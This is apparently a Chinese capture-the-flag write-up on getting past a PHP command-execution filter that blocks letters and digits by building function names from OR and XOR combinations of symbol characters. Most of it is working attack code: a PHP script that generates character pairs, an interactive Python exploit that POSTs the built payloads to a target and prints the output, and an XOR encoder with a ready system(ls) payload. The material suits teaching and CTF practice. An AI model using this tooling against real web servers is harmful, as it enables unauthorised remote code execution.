@TOC
题目如下
很明显,这道题过滤了所有的字母和数字
具体应该怎么做呢?可以利用位操作符凭借可显示字符(本题的原理)
这么说一头雾水对么?下面来看看具体过程
或运算
==这里的脚本分为了两个部分,一个是根据题目要求制作出符合题目的拼接可显示字符,另一个就是负责拼接==
==rce.php(制作出题目要求字符)==
<?php
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i = 0; $i < 256; $i++) {
for ($j = 0; $j < 256; $j++) {
if ($i < 16) {
$hex_i = '0' . dechex($i);
} else {
$hex_i = dechex($i);
}
if ($j < 16) {
$hex_j = '0' . dechex($j);
} else {
$hex_j = dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; # 这里放题目要求
if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg,
hex2bin($hex_j))) {
echo "";
} else {
$a = '%' . $hex_i;
$b = '%' . $hex_j;
$c = (urldecode($a) | urldecode($b)); # & | ~ 根据题目选择
if (ord($c) >= 32 & ord($c) <= 126) {
$contents = $contents . $c . " " . $a . " " . $b . "\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);
==exp.py(拼接字符)==
import requests
import urllib
from sys import *
import os
os.system("php rce.php") #没有将php写入环境变量需手动运行
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")" # & | ~ 根据题目选择,和上一个脚本保持一致
return(output)
url = "http://test"
while True:
param=action(input("\n[+] your function:") )+action(input("[+] yourcommand:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
脚本分享完了,下面介绍具体使用方法
1 进入当前目录
2 打开rce.php,这里用vscode举例
在终端中输入php rce.php
回车后发现当前文件夹多了以一个文本
3 打开exp.py
在终端输入python exp.py
4 按照自己的意愿输入即可
异或运算
如果发现上面的脚本无法执行,可以看看这个脚本
<?php
$s="ls";
for($i=0;$i<strlen($s);$i++){
echo "%".dechex(ord($s[$i])^0xff);
}
echo "^";
for($i=0;$i<strlen($s);$i++){
echo"%ff";
}
修改XXX的位置即可,这里用system(ls)举例子
==system==
==ls==
传参的时候组合一下就可以了(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%93%8c^%ff%ff)
如果文章对您有帮助的话,关注贤鱼支持一下吧